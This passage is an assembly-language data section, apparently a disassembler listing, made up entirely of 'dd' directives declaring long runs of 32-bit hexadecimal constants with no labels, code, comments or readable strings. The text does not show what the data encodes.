		dd 0A5942AF6h, 8EA0FA51h, 0DB0C53D5h, 19B2E115h, 447209E7h
		dd 0C5854917h, 98F4C1B6h, 0FDF880CCh, 759AAFD4h, 0C5A80072h
		dd 1C87C067h, 0D900C30Eh, 0D4DA9D98h, 0DDBB0Fh,	78C8F5F0h
		dd 0A9835913h, 0ACB0E900h, 92610CDFh, 3CE53AD3h, 866B1800h
		dd 8C555A3Dh, 6D563900h, 0B58BBDCCh, 0B036003Ch, 0B16E7E46h
		dd 0C971078Fh, 428E7000h, 7A90595Fh, 4CBF3B51h,	0E9042587h
		dd 0B93EB366h, 565D8BB8h, 2C00B1E4h, 0DB67B3Ah,	8E51A4h
		dd 0BC65A009h, 2A27CB9Dh, 3088F48h, 0D86819FFh,	14E9210Dh
		dd 7D4BC10Eh, 7558C555h, 63494C7Fh, 0B59C0088h,	0B196A43Dh
		dd 10D60033h, 67E081BCh, 0A31522A0h, 0CCE38Fh, 1DBE73DBh
		dd 19F1Eh, 0DEBB1F21h, 108B9304h, 49A67009h, 0C180A08Eh
		dd 9A5FC2h, 877A4F14h, 32F057B0h, 3EFA603h, 0F8E63FD8h
		dd 92C7CFh, 0DA5BB2A7h,	20C69BD3h, 218A6718h, 0B7C5E9h
		dd 0D03E0727h, 322C5109h, 6DCA4400h, 8B4B0D7Ah,	97114815h
		dd 0E0091754h, 0ACD20788h, 5005B0C7h, 383F9F5Bh, 0F8216803h
		dd 0B027DC8Ch, 0F36DFEFh, 37DEEE5Fh, 450FA4E2h,	0F5F4D8E0h
		dd 936B1D03h, 98E82262h, 0A065C1D1h, 0F2F249F4h, 0ED7E0021h
		dd 0D67D3A13h, 9A3FE797h, 14743A32h, 0BCD2ABh, 46C2D9B3h
		dd 0A00401h, 0BE225BEAh, 9BCE8B95h, 0D0B91225h,	26109886h
		dd 0D077FBh, 402696DCh,	0A494EA02h, 0CD91D200h,	2C757F17h
		dd 29077Bh, 0A4C14DF4h,	3A03FD06h, 0CB8BE4B8h, 0E0BE84h
		dd 4FF3D0D8h, 0A8C93770h, 5AB0FA09h, 8B1868A3h,	0DDF0B3h
		dd 37F7E76Eh, 41F81A8Fh, 0D92C9101h, 0D008D325h, 4CED8440h
		dd 0E3B603ADh, 77A9996Ch, 0D56E7FA9h, 128828F4h, 3840B80Ah
		dd 9320EE56h, 141F0312h, 0F36F1650h, 37A39000h,	849C4AE1h
		dd 35FE09BAh, 28217C08h, 0EE919D2Eh, 0F6014448h, 6868E424h
		dd 386C7900h, 573029h, 6696600Fh, 1E2F54E2h, 0D8A86A00h
		dd 0BECC941h, 7C61E3Ah,	0ACBF3A08h, 545313h, 673E804h
		dd 11C03F26h, 0C3C4FD7Bh, 0FCFE5C92h, 0F4E27100h, 26780314h
		dd 3D75C603h, 2CEECD81h, 1EA331h, 7A27D055h, 7407C2A1h
		dd 46B88707h, 0BAA99A30h, 5DAB7B2Ch, 1E311CC4h,	8140F3E0h
		dd 0AF1332D1h, 0F0EC99FAh, 0A04B7EFDh, 1C8BE0h,	0BA360E6h
		dd 0DAA5FF18h, 0A11E2900h, 5289F2DBh, 6D190028h, 20E658BFh
		dd 0A250659Ah, 0CCA0F3B1h, 6800135Eh, 332896CFh, 60E30CE2h
		dd 57A431E7h, 0A13F79E6h, 669B94D6h, 0FD4E03C8h, 0F8B7365Dh
		dd 784DA9h, 1A1E768Dh, 0BD637A6Ch, 1CBAC817h, 3085D440h
		dd 83224Fh, 612D25DBh, 62B6E49Dh, 4ABCD400h, 0C0CFF853h
		dd 961200DEh, 0B3C8196Ch, 0C760AA4h, 7DE42A00h,	27EA7F24h
		dd 0E54900E7h, 0F52E940Eh, 0F09E885Ah, 6F4CBA00h, 120527B9h
		dd 0D20BCBB1h, 8C609964h, 167F4D5Ch, 9121F400h,	0DC6B4ADh
		dd 23B900A1h, 0D68B0520h, 0FD00650Fh, 0EE9B59E0h, 106EA4Ah
		dd 0A6AC241Dh, 0DC2303FEh, 0FAE47846h, 413E0900h, 0F2330CFBh
		dd 2B0402EFh, 77290116h, 0F191EB80h, 0CE00105Fh, 6522DD48h
		dd 7F8F1235h, 8F400B9h,	20298DC2h, 5D12E281h, 7C4038AEh
		dd 0B11FDD94h, 1EF17680h, 0CF0247C1h, 7C05A50h,	0B411184Eh
		dd 232A6100h, 1D2477A2h, 0F26D03A8h, 787D232h, 41845E8h
		dd 74424300h, 7EB41208h, 44249478h, 1F9F08ABh, 643A3ACAh
		dd 0D4525406h, 0B800894Fh, 3714D76Ch, 0F9167F97h, 6ED086D1h
		dd 99952CFAh, 667E8AFCh, 0EEF4002Ch, 0EF1217B9h, 0F3001EE8h
		dd 84297C3Ch, 42FB1CCh,	649996F8h, 4F1DC35Eh, 190BAD90h
		dd 7E8E391Ch, 0A061A440h, 0DAB123Ah, 183EEB62h,	0B9F7E058h
		dd 3CA8B268h, 0C5026201h, 119E9559h, 0D2DD4116h, 0C67ACAF6h
		dd 7E20AC50h, 99CC0F18h, 0FAC2C62Fh, 0CC5236B2h, 4FDA5414h
		dd 272005Ch, 7E7C7AA8h,	73600065h, 13151189h, 0D900A65Bh
		dd 8E98D18Dh, 2E3DB37Ch, 7E06DA2h, 101863E6h, 91EAD7E5h
		dd 0DC0057F6h, 44C455C0h, 1E3528C6h, 16A690h, 0FF8DB787h
		dd 0A5003E40h, 0B18B880Bh, 0E98970h, 0CFF3C44Ch, 4235E654h
		dd 0AA4360F5h, 0F2740E79h, 81410600h, 1334EEC2h, 3C6700C1h
		dd 2188438Ah, 65005A22h, 0E92739C4h, 0E37D8EFh,	287B06E6h
		dd 8021CEE5h, 2FED5ACAh, 26A32900h, 50013495h, 0F61B0096h
		dd 0E27A52ECh, 4C008C75h, 0DE28DACCh, 98F0E738h, 0F65C04FCh
		dd 0B0247234h, 454AAAA4h
		dd 614A7807h, 5E2DF8E0h, 37F916FBh, 1E50004Ch, 4306EB4Eh
		dd 0E1783979h, 0E31E8179h, 0F0567F20h, 0F7389800h, 0C7790Ch
		dd 6CD0A31h, 0C42ABD14h, 0EA01EF00h, 8E608347h,	0B48F0080h
		dd 85A0A339h, 41002F0Eh, 93313672h, 1594946h, 0DD4D2114h
		dd 60DFFC23h, 0E42C5704h, 0FE038172h, 0BAEE9D5Eh, 87F44095h
		dd 98C500AAh, 91C4C19Eh, 7300B4A1h, 9C90BBCh, 482A741Bh
		dd 671DF6DAh, 1ED080EBh, 0B9458F2Eh, 0B1A28D09h, 0C04C4AF8h
		dd 164DDC0h, 6FD7AF96h,	800C1299h, 441F0480h, 139532D5h
		dd 257A5Ah, 3C5BE35Ch, 0D0583123h, 0EA00753Ch, 0E21B142Dh
		dd 30553325h, 29408856h, 0D101A972h, 4FC67374h,	8FF85FFFh
		dd 0F047003Ah, 2BD22C9Bh, 371FE0D8h, 42409F06h,	58041F5Ch
		dd 44F800C4h, 0C8F5E692h, 7B0082E1h, 7A6F57D8h,	4C03552Fh
		dd 3F008C97h, 350609CEh, 591C93BAh, 111F6DB8h, 0D7145844h
		dd 0B422A4C7h, 89A0C037h, 96C1007Ch, 0D676BEACh, 6B007866h
		dd 1D95AA23h, 0C08584h,	0ABCA88EAh, 0A2AC6476h,	0AC01E84Eh
		dd 7F2720D3h, 965E1BC8h, 36093D38h, 755C4D86h, 0B6551400h
		dd 67D4CFB9h, 81102090h, 802534C6h, 972DB211h, 31A29C76h
		dd 39603B5Fh, 0E85C16FEh, 24430036h, 3DDA2F90h,	0CC00218Ch
		dd 0E653A20Bh, 286B94FBh, 0EB41D1Bh, 5BDC7DB0h,	0D4E800B3h
		dd 7621AFC4h, 808D0127h, 0FF934AE8h, 5FA77BBEh,	19A806h
		dd 241181F6h, 7C68443h,	12D57A0Fh, 72948008h, 6F00C5ECh
		dd 0BEE2DA67h, 1AC1B98h, 0E4DCD357h, 2B6290D1h,	0F39B5E0h
		dd 8B8A87F2h, 0DD6EA560h, 260E2BF0h, 7851A471h,	3572E9Ch
		dd 0A096ACEDh, 4CA8063Eh, 35008A5Fh, 83E6A33Ch,	1D4395h
		dd 93C4B415h, 6459D0A6h, 0AC23A700h, 9ABC7BD2h,	6DED3DD9h
		dd 5A33B880h, 79C8F24Ah, 35A84950h, 478D480Eh, 4E05605Ch
		dd 0E4A063CCh, 33FA26FFh, 0BAB78090h, 0E28A0299h, 2B015500h
		dd 0F3122F96h, 230B1615h, 54EF0069h, 6BD04613h,	1A8A3Dh
		dd 2DD49597h, 13C9D22h,	0D69AFC15h, 0F4AC1223h,	0EE00433Dh
		dd 5CA2AD0Bh, 482F5690h, 64024893h, 0CAF5C7F7h,	0EF3128C8h
		dd 39EB060Bh, 8F08E8D5h, 164E07E8h, 0E07DBEA5h,	21C98D6Dh
		dd 3D01A490h, 79FA4A54h, 20F08591h, 388A0345h, 0B96DD3AFh
		dd 0DF08D0B5h, 0F217F5CAh, 0AC40D8E5h, 4CB2BB0h, 314004A9h
		dd 0A0CA7107h, 0A60B7D28h, 0C1702538h, 402A6EF0h, 99AF9E2Ch
		dd 0A600B778h, 0DB906FD6h, 0A35B9648h, 0E641A68Fh, 0C10400B2h
		dd 0C9A48675h, 2F009B5Ch, 0AB827742h, 335EDCAh,	7233E17Ch
		dd 91002D48h, 21A7C80Fh, 0E302BD4h, 0DAAD0318h,	80C7E2A5h
		dd 58868FDDh, 236FDB00h, 2ADF6235h, 0BB080277h,	541FB578h
		dd 0BF4C4F0h, 0C59E0600h, 0FBECDC1Dh, 80EE25AEh, 41C9A400h
		dd 7774495h, 0CD852E00h, 5C53D7A8h, 24D0070h, 513B04BFh
		dd 5F0005D8h, 679C06C8h, 7A99D8Eh, 89BD7264h, 0A0DD206Fh
		dd 4C076BCFh, 44F6A58Bh, 0E7997120h, 0B2D84C17h, 0DABDFE00h
		dd 5C45807Bh, 3C1FD4Ch,	0C05DECCh, 58BEF8CEh, 35930083h
		dd 141EF636h, 0FB001209h, 0CFACA747h, 0EC319EBh, 3E1DC015h
		dd 949C6121h, 4C142481h, 0BD008F78h, 6427703Ch,	97128Eh
		dd 9BA711B9h, 546D811Bh, 55CB181Fh, 0AB076E93h,	53301397h
		dd 51664Dh, 28783206h, 7645A6F4h, 0A501BF7Bh, 6F10F33Ah
		dd 59D0F227h, 73460B2Bh, 0C880709Eh, 0BA05FF60h, 245DF000h
		dd 438CAF58h, 12ED77DAh, 5C25A440h, 54910014h, 0A5907A0Ch
		dd 3FC6F0A8h, 0F9CC6018h, 4AE4D11h, 29CDA954h, 0ED90D018h
		dd 1307621Fh, 0C1E8834h, 5A646089h, 298F8B5h, 3BC3AE21h
		dd 84A0E5B0h, 0D17F459Ah, 29006772h, 0DC18196Dh, 0FEF9D647h
		dd 1FA3A44h, 0BF6CE980h, 57FB658h, 2F00C571h, 0E1F40476h
		dd 1D7F2ABh, 825DE4B8h,	6CA6D41Dh, 0DFC800FCh, 0C4DA876Eh
		dd 497C047Fh, 80AEAB6Bh, 0FBF4324h, 0B2E7AF00h,	0D480B851h
		dd 8B710072h, 0C6884581h, 961C0F9Ch, 0CD80CACCh, 0DC12C5FCh
		dd 18EA7CAFh, 0A423B7F2h, 0D1002488h, 349A3D2h,	2AAFCE5h
		dd 5435B407h, 1DC0DDC0h, 5D25E9A8h, 0DB8CB82Ch,	93CB0003h
		dd 0C1A4CFF4h, 7A00CA31h, 65BEBB47h, 7E33566Dh,	4B0B00AEh
		dd 0F4264406h, 0AF38FA2Eh, 54FF00B0h, 0EFB3EB93h, 0C70800B2h
		dd 0C3828758h, 1900E646h, 57CE2CBEh, 8F6EDEh, 1058A4C1h
		dd 25462943h, 271DA51Eh, 0DE6980C0h, 6AB5FAh, 31CB62B2h
		dd 4E193E7Ah, 1C257B00h, 13F96E9Bh, 72A00D3h, 0C2B98739h
		dd 0BB007D80h, 45185BB4h, 0D46ECBh, 5961E01h, 0E1D3D83Eh
		dd 127DF348h, 14D22A41h, 0EBE11750h, 0B82823B9h, 33A3F3Bh
		dd 0C89AB312h, 0C4837308h, 838E474Eh, 0A2765384h, 40F520A8h
		dd 0D0F912D6h, 1C7DF304h, 807A8900h, 0B331BD46h, 822A2894h
		dd 77D01299h, 2BD480F7h, 0E0BC0E10h, 2FB15240h,	1DEDB895h
		dd 87130C51h, 204BBBB2h, 10451D29h, 18704C96h, 5877308Eh
		dd 91CCDF40h, 405C0096h, 3C2CE3AAh, 750E541Bh, 0DAD4474Dh
		dd 0D7525BB0h, 0D33EC020h, 0B48B947Bh, 138FAB00h, 0ADD1AC4Eh
		dd 0D74D00A0h, 0EBBCE98Ch, 5300B83Ah, 0BE5D57D2h, 4099E1h
		dd 54E77AAFh, 0E97C2E3h, 8DCC1E1Eh, 36B95A07h, 0F499CBD0h
		dd 9FDE0070h, 0C6FC55C5h, 4C0356F9h, 5C7A21A1h,	95D90BFh
		dd 0F3B00BBh, 0FC19B765h, 0BD00D8E6h, 0BAE855Eh, 1F87CD75h
		dd 0D2C004h, 0C8304E54h, 6B001C1Eh, 400834B1h, 0A869C8Bh
		dd 8EABEF6Ah, 2299809Ch, 6D77201Ah, 2F9A4300h, 90A1BBD7h
		dd 4E553F4Fh, 693CD580h, 4A732009h, 0EF8BA4A8h,	45DA961Eh
		dd 0E0E50141h, 3868B58Ch, 80CA3300h, 9838B266h,	31306360h
		dd 48588A7Eh, 843078CDh, 536AB228h, 91DDCE07h, 41A3C8CCh
		dd 8960FFC9h, 72EC52h, 0D25781F2h, 7A9DA8FAh, 7E1C2900h
		dd 0E3185D6Dh, 4C723027h, 0EFC6DF91h, 0DDBB4F0Eh, 9ADC2043h
		dd 7690FAA6h, 0D80C0311h, 0CA82D07Bh, 7AC9680Eh, 3240FE7Dh
		dd 1053707Eh, 0DB231E64h, 0B5620133h, 0EC4AB025h, 80C05F01h
		dd 0DD8CD993h, 9A7E00E3h, 19236A34h, 1A7B50D3h,	0B2100095h
		dd 3C11D75Ch, 0B3038C47h, 34538FF0h, 169719A0h,	1D1A4E00h
		dd 0E680121Eh, 66D10301h, 56B93AC1h, 21450830h,	3E667F8h
		dd 0A12B20C2h, 1800323Bh, 0B292355Dh, 0ADD094h,	144B418Ch
		dd 0B369A00Ah, 7488E00h, 5CB4DA82h, 341A0D2Ah, 885089CEh
		dd 60170B80h, 0D0FDE67Ch, 44228646h, 0E663F403h, 10282D40h
		dd 60473450h, 3C71E89h,	6F647D22h, 0DDE3182Ch, 907CD150h
		dd 4220C418h, 7BDBC18h,	900461ADh, 0C8F1B1Dh, 0AFA035CFh
		dd 986512DDh, 91E3300h,	0B1B07125h, 0E414002Dh,	2187045Ch
		dd 5900646Fh, 68CEE71Ch, 0F8CC2Bh, 538804Dh, 3144E2EAh
		dd 89866C1Eh, 0A50DA980h, 74CB7B1h, 595E1D91h, 703BB78Eh
		dd 0E871BDDFh, 9D79CC0Bh, 0EB83008Bh, 126D9A37h, 0B26462h
		dd 7DE03473h, 4C75A4BEh, 83F4DF07h, 0D6E0D0D8h,	0B82CE4h
		dd 60A68189h, 0EFD394DCh, 4D958600h, 0FA53446Dh, 0CAAE0040h
		dd 294ECEFEh, 0C71DC24Bh, 0D7D4153Eh, 0D5D3E004h, 11C860C7h
		dd 0EFBF8A9Fh, 1A830202h, 407048FFh, 2B2CFCh, 0BB11E20Bh
		dd 37B99CF8h, 624E5300h, 0A2939E35h, 6452014Dh,	1E54AAD7h
		dd 97588491h, 5E003ABAh, 0DC6DB8B9h, 0F3A83800h, 6424F120h
		dd 960B01D4h, 70016136h
		dd 1520815Fh, 0E8ECDDAh, 2511204Fh, 0C94981D4h,	0B30077E8h
		dd 30C7B8Ch, 0D9D6E91Ah, 0A4C918A8h, 8EA62065h,	511697Ch
		dd 0B700E0C7h, 5F37DE86h, 6A33B97Ah, 0CCE0956h,	0DE8E9721h
		dd 6100AAF0h, 17BE56D3h, 32D1482Ah, 0C5870C8h, 2BF16AE3h
		dd 577DC8E2h, 9DDD6500h, 3DEFE997h, 68EA311Ah, 504AFF51h
		dd 0E94DAC0h, 0B600F7E6h, 7D51D12Eh, 0A1438Fh, 92A254CFh
		dd 83E2BB61h, 3096F95Ch, 0F7983972h, 5399024Ah,	83135E2Ah
		dd 55A60C80h, 0A41E7F48h, 0CCA87E9Bh, 0F6FEB10Eh, 560CE018h
		dd 15942959h, 0B0E81E15h, 0D5ED701h, 0FCB58FAAh, 0BD66938Ah
		dd 214509h, 70AA057Eh, 5638427Fh, 0EB6C610Ah, 0A284FCEFh
		dd 16045C75h, 263090CCh, 0C500F850h, 0F7CF7185h, 0A7F5C9h
		dd 98E8812Ch, 22615DDEh, 94BFC528h, 0E413A006h,	1D50351Bh
		dd 24954F9Ch, 43E18E54h, 1628CE6Ch, 0C1611960h,	12206E6h
		dd 35D29105h, 53481E25h, 5E817DDCh, 0E3EE052h, 0CDE6CCA0h
		dd 4EFE2518h, 6A4BD1h, 0E118E955h, 60A2EB7Dh, 22EEFB00h
		dd 0A0768911h, 732A02A4h, 8F5AA73Ah, 6111989Dh,	838E3A80h
		dd 87074907h, 2A6037F9h, 514E9411h, 2D48E880h, 0AE98EBA8h
		dd 0B8C22778h, 6086BB42h, 90C1E4ECh, 0D52C00B4h, 8D4F070Eh
		dd 80A91E16h, 8321F1B5h, 3ABCDAA8h, 54B1309Ch, 21349321h
		dd 0DE1B610Eh, 0E7FDA0FFh, 0A054F143h, 0F7A0B5A4h, 406002CFh
		dd 6A7D8BE0h, 786EB8A0h, 0E70395FBh, 0CF195A74h, 7708309Ch
		dd 0FB902921h, 0BA42F900h, 1D998CB5h, 4CE84CB9h, 910E3800h
		dd 0D029562h, 8839FF2Ah, 0F7074200h, 0E21A9E48h, 228492C5h
		dd 170033FEh, 0FBD24A13h, 0B0E1ADh, 8A1E59F5h, 0A65DFC9Eh
		dd 0D91D1533h, 386AE0A4h, 43D101E7h, 77369701h,	13FC208Eh
		dd 84A6312Ah, 0B1797D30h, 234681h, 0AB89C564h, 9002F8F5h
		dd 57398B0Fh, 0E875C158h, 3431A69Fh, 3A152050h,	0C7EEAF8h
		dd 0C3C80F86h, 0A40058B1h, 0DDDCC631h, 0E8864B0h, 0A0915AA1h
		dd 38D0EC40h, 70E8050h,	2AF03F8Eh, 3407B0DBh, 0A339E949h
		dd 0C5450B60h, 1056FC70h, 0DD030042h, 0C09F2AA7h, 889A74E9h
		dd 6A2828C4h, 65AB0840h, 0A47C4D43h, 24364724h,	50E47D00h
		dd 35E62FAh, 0C9D44E07h, 4009674Ch, 81962770h, 0B912A6A8h
		dd 3D0041DEh, 9FF7BC50h, 0A8B869DFh, 445D0C90h,	0D3213860h
		dd 0A3C9F8F0h, 77D8A964h, 692BEA10h, 3E506E64h,	805870C7h
		dd 298FBD7Dh, 9F484FDEh, 4BE781E4h, 0D300C911h,	0D167CBA0h
		dd 398CC658h, 1D760429h, 0C122E56Dh, 15EFB30h, 0D2DC9879h
		dd 3E9A1394h, 0A50C314Fh, 0BF2841CAh, 236822B4h, 0FB740187h
		dd 1854E809h, 8C258870h, 0CB1CFB01h, 426576C1h,	30F054DCh
		dd 0CE50B02Ch, 0A60695FAh, 2FD37DAEh, 1FF921F8h, 3ADEEB04h
		dd 0E2C0813h, 32E1A3C7h, 0CF18A25Fh, 48BA088h, 684B07DEh
		dd 0BD97C205h, 0B49CC490h, 0A6A2D102h, 0A04FFFCDh, 0D80588C8h
		dd 416D00BFh, 4932ACC6h, 65025FC0h, 1112A4CDh, 72880724h
		dd 0A86817FBh, 7A1FE77Fh, 0B3039C18h, 0B09FF1E1h, 3F56736Ah
		dd 704CF95Ch, 0B013423h, 0A9B575AAh, 78886218h,	8CAA0003h
		dd 8804138Dh, 0CE249031h, 0C4C87CAEh, 774674h, 0EE95BD4Ch
		dd 125F4729h, 1E6E80E9h, 86B88038h, 6716A0D1h, 0E7533403h
		dd 2C8512Bh, 41853FF0h,	389089E0h, 9710FB8Ah, 2BE064E7h
		dd 1302FB82h, 140DFAA4h, 1814E0B5h, 0E805806Fh,	0A63C5AE8h
		dd 0A471A8FBh, 1C59D1EEh, 23C848F8h, 21310190h,	1832A4A3h
		dd 395E8851h, 90622100h, 0F01B3F47h, 4C8D0330h,	342E9BA6h
		dd 9E876000h, 132FFDE5h, 96C102BFh, 7362A49Dh, 6038D084h
		dd 1679A997h, 2C8B09B5h, 0F037C40h, 1CA760AAh, 0B3699825h
		dd 0E2EB0EBCh, 3AECBEA6h, 48C8CC0h, 0A49F212Dh,	21CD62D2h
		dd 0DC213592h, 0D4022D3Bh, 0FE3A433h, 0E630483Dh, 18110C16h
		dd 5F312715h, 8014D200h, 0D1C9C023h, 565300C7h,	0A326B93Ah
		dd 440158F9h, 808C5112h, 0E425992Ah, 0C0702041h, 1C574400h
		dd 8048F22Ch, 72932402h, 19CC839h, 0E8895D54h, 3E4E9B0Ch
		dd 0BF30E018h, 0BE8D5871h, 261D2ACFh, 0A44F1588h, 0CE07FC69h
		dd 0E3129EEAh, 20035E73h, 37A86D77h, 0E97802C2h, 5D07202Bh
		dd 62206C64h, 0B9BE0C3Dh, 9E7868E0h, 35BFA504h,	90D750F8h
		dd 770818Fh, 0D8427C48h, 2098313Bh, 156B5A5h, 4622D8h
		dd 0F5AA1079h, 0D9353EF3h, 0A685D300h, 0DAFC3A9Ch, 6784F677h
		dd 5449C15Dh, 60A28063h, 1A00FB72h, 0F7A301E3h,	15A0D2E9h
		dd 0A05069C4h, 0C8340C01h, 2021775Eh, 48C88C8h,	0E80AFB75h
		dd 2274626Ch, 0A0408D24h, 1AEE104Ch, 0F0ADECA8h, 9EB8E573h
		dd 89726603h, 0A92E4D4Fh, 7CC1350Bh, 40F27FD1h,	8058AB9Ch
		dd 8714B948h, 7CD8DE41h, 0C9605720h, 149D1D98h,	34807311h
		dd 0DC131876h, 0D6C60C0h, 28E95E65h, 30D05DE8h,	0BD315C84h
		dd 200021A5h, 0C36ECAEDh, 0C4D0F8h, 0F760A942h,	0D202CFBCh
		dd 0A897EF1Eh, 807C5101h, 3060FBAFh, 0F31B4191h, 957D6AA8h
		dd 564EB207h, 0DCD05904h, 0C0608478h, 0FE6D7B69h, 0EC0111CEh
		dd 49EB0A47h, 0F9807FB9h, 0B4E68D1Ah, 14B06292h, 85070C46h
		dd 0F85F30DEh, 9600D1CEh, 0E43BDE8Dh, 2BFEECDAh, 0E11AB312h
		dd 1C9070D7h, 17F6A1h, 0EEBA67Ch, 0FE641B94h, 0D73540h
		dd 2014F205h, 2C9A40Ah,	6692B500h, 0C80DA08Dh, 1449CFDEh
		dd 0AA00FABCh, 40EBD6B0h, 3C2450D3h, 0E30270C4h, 8028355Bh
		dd 0C0F86D88h, 1E18C393h, 690049E8h, 60406BFFh,	0D072DFh
		dd 0BBA62820h, 35CDB4DAh, 93428900h, 0F79881A1h, 842B2636h
		dd 60356470h, 1074AA0Ah, 0C88AB1B5h, 2778063h, 0C904E5AAh
		dd 1F95803Fh, 1E82C11Dh, 60D6BAFCh, 81B96824h, 8439C6h
		dd 121DAF0Eh, 0FA73F8h,	4A7FEDD9h, 2A59BEB4h, 0C326EE00h
		dd 29DF470Bh, 58AD4DCCh, 30125539h, 8A800B5h, 0E9D5DCBBh
		dd 6C024099h, 35DE9Bh, 0CF1A0ED4h, 402CCA6h, 95DF6C18h
		dd 5CE4EDh, 260D145Dh, 98BAC48Eh, 0CC98AC92h, 0FCE40614h
		dd 2AA103B2h, 506EE294h, 8C0F1858h, 31DE8404h, 0C2628A5Fh
		dd 0DE8CA120h, 3F640468h, 0A7B83050h, 0A0E4A1F4h, 6607720h
		dd 84E949CDh, 0EB00F84Fh, 0B48B1FBAh, 6E1620E1h, 0A7E7C9C9h
		dd 9D29008Ah, 0B03D084Ch, 0E0C480FBh, 5DFE9A6Fh, 7564264Eh
		dd 50F208DCh, 2CDE7913h, 217D9C84h, 901AF0BDh, 0D4088420h
		dd 0E8E56262h, 0E60C2E4h, 50186D10h, 67D0A4F0h,	15CD2442h
		dd 4674289Ch, 0A908791Fh, 0C461B58Eh, 0C7D4044h, 3B2027AAh
		dd 0C101A3D1h, 0D92A87FAh, 15508AC5h, 83BBBC28h, 84D8F6B2h
		dd 47F190AEh, 0F0050443h, 8E20E241h, 0C06188B0h, 884BCA68h
		dd 3C00C5E4h, 0A43D6FB6h, 0A05557EBh, 0C151FECCh, 7F0C8531h
		dd 93D3C074h, 71D870EBh, 0C2D82750h, 967831F2h,	733015F8h
		dd 9E1CB06Bh, 34DE00A2h, 23E1B19Ch, 0C600BAA7h,	0CCBCA92Ch
		dd 3CA9786h, 0B9B488B6h, 0D1C05B17h, 99005D19h,	989204DBh
		dd 987123C8h, 0ABB1006Eh, 5EC95563h, 6B009736h,	0D72A0EE5h
		dd 391EAEh, 0EB8380EDh,	0C60266C2h, 59E25600h, 7D1F7540h
		dd 0F5170045h, 8BA73D83h, 24733F0Ch, 0DE498C00h, 6CF83E4Ah
		dd 0F9D10047h, 0E7E84869h, 41C04F3Ah, 0FC7E6118h, 0B42142Ah
		dd 0DE00ADABh, 0ECF16399h, 4000ACA2h, 36754B14h, 87CDBCh
		dd 0DFF83038h, 0D9B3E0FAh
		dd 86D5F907h, 9CA00B8Ch, 0C4FD16h, 0CF9A7C96h, 709353ADh
		dd 2055EB00h, 7F82AC36h, 0FF1034Ch, 0A85679ABh,	8B8185EAh
		dd 0D0731D5Bh, 2401D6C1h, 0DD448A0Eh, 0A88E5865h, 9EE006B6h
		dd 0DAF18549h, 225C6400h, 0CF65E3B3h, 0A2F00D7h, 6DF4339Fh
		dd 137BFB4Dh, 3AFE8302h, 0A0885C70h, 52C133F4h,	907C58h
		dd 72106467h, 3E2CF031h, 0C03203Ch, 11147ECBh, 0D84F2AEBh
		dd 337D4C94h, 0D485E407h, 8EE5A029h, 0C74C4525h, 0A4DC878Ch
		dd 0AC8D014Eh, 95CD0153h, 9DA3F8h, 0BBB1499Fh, 0AFD26085h
		dd 86696700h, 5F127482h, 513F00BAh, 46369FADh, 58C01E87h
		dd 0A3EE83F2h, 0C07566h, 81522977h, 89584F6Bh, 5741FB09h
		dd 30E70086h, 46765E8h,	64DBCFB7h, 0B33E808Ah, 52004119h
		dd 0F3427EFEh, 0FE1A4C39h, 0F563014Eh, 0B84DD17Ah, 9CD9C451h
		dd 471FD501h, 0F6EA5855h, 9248096h, 2C0054D7h, 0C2093143h
		dd 2D194D00h, 0E3DE9940h, 1F34AA9h, 3472BD2Ch, 5B8EECEFh
		dd 841EBC01h, 0A14879F4h, 58CA560h, 0C8D7B247h,	90AC007Fh
		dd 0FA1243BEh, 0DBC57A1Ch, 0B79F6C07h, 0A77750E0h, 68C8DC94h
		dd 96A3FECh, 0F5CA2C00h, 514041Ch, 189AC900h, 912772FDh
		dd 0C3CB009Bh, 0F9901589h, 6705C81Dh, 6B7654EFh, 180B4h
		dd 0E3986916h, 60FEB919h, 7F57C10Bh, 0C7A83FDh,	542B886Ah
		dd 5F21DCDh, 81E0876Ch,	3B43AE5Eh, 0B8004FFCh, 37AFA2A4h
		dd 0FF5EFFFh, 9205DDFDh, 2050E806h, 0EA9EB000h,	0D99F4677h
		dd 66AE3D8Ah, 0FF87CC81h, 8FDB2F8Bh, 80F801D8h,	0FD8D5645h
		dd 0AD4002CDh, 0BBC7E9E0h, 9B9E2040h, 73BE0100h, 65290896h
		dd 3DF40742h, 0D050F720h, 0BAE17FE9h, 14CA048h,	0B0678CC2h
		dd 0DC47C6B2h, 0B7481059h, 0FE4000BBh, 0AF39A292h, 449153A1h
		dd 50A46202h, 8EB84009h, 961B03BAh, 18821DE0h, 2C9A9290h
		dd 0EE4E0700h, 0B591C59Fh, 7067001Ch, 41CB26B9h, 463BCD77h
		dd 6F290015h, 2AD1EA24h, 736400CEh, 5F8DB982h, 4000FC90h
		dd 2D397E1Eh, 5687DEh, 8CC42B16h, 1727F4D7h, 0F95EE200h
		dd 4900820h, 0E1C200CAh, 0D0FE7AADh, 0BD00262Ah, 0DD492D33h
		dd 0E4205AD7h, 9DFF30B8h, 899C4A21h, 0E3924102h, 63A52D53h
		dd 20111EC0h, 0DCC81F32h, 0CA5440FAh, 8598D67Fh, 0AEEF8603h
		dd 0C0D5045Ch, 126DE0h,	0A0F449E3h, 396EF02Ch, 181C7026h
		dd 0E8274000h, 7532A42h, 92DCD236h, 7565107Bh, 6005A3Fh
		dd 540908FEh, 2D7C09Eh,	0B2F36E38h, 9AE05BCFh, 1400B52Ch
		dd 9DB3C8CAh, 0BCEAEh, 0D4BBCBAAh, 7202E9F9h, 0E584CC02h
		dd 805DDB80h, 92FB8D88h, 0FA6C2639h, 4B690702h,	6E7AC032h
		dd 0ECEE740Ch, 0AFB8B750h, 0CB013900h, 29E157C6h, 0CCDA0703h
		dd 0A0866BD2h, 63BCB494h, 3300B0B2h, 34CF6061h,	902BE962h
		dd 0FC420658h, 11F51D55h, 326DE100h, 0DCA25E19h, 0C7560071h
		dd 9AEEC3A9h, 0DF4E2F7h, 23ED5507h, 534EEAF1h, 6D27C403h
		dd 0E8FAE21Dh, 729434h,	1E995BC2h, 4784CBD8h, 80F8E2BFh
		dd 4590B61Ch, 0FD5D002Fh, 801497C5h, 7A00F498h,	5F49A1F3h
		dd 48185699h, 300F66Ah,	0F18DC2A6h, 0A001C0B8h,	0D190D5D4h
		dd 0DCF85E1Ch, 38710009h, 0BCF0B1AFh, 91007B4Bh, 3455CC6Fh
		dd 3E1F2Dh, 41E2CEADh, 7D5077ACh, 668471Ch, 55386187h
		dd 4F700C50h, 818C0EB2h, 0B320B11Eh, 5EE5717Dh,	54F76501h
		dd 670D6F5Fh, 2361E8h, 73FE2D68h, 98AE139Bh, 329A7B00h
		dd 0C0C363D4h, 3966070Bh, 0C0A7512Bh, 176CCAC1h, 0F43EFE00h
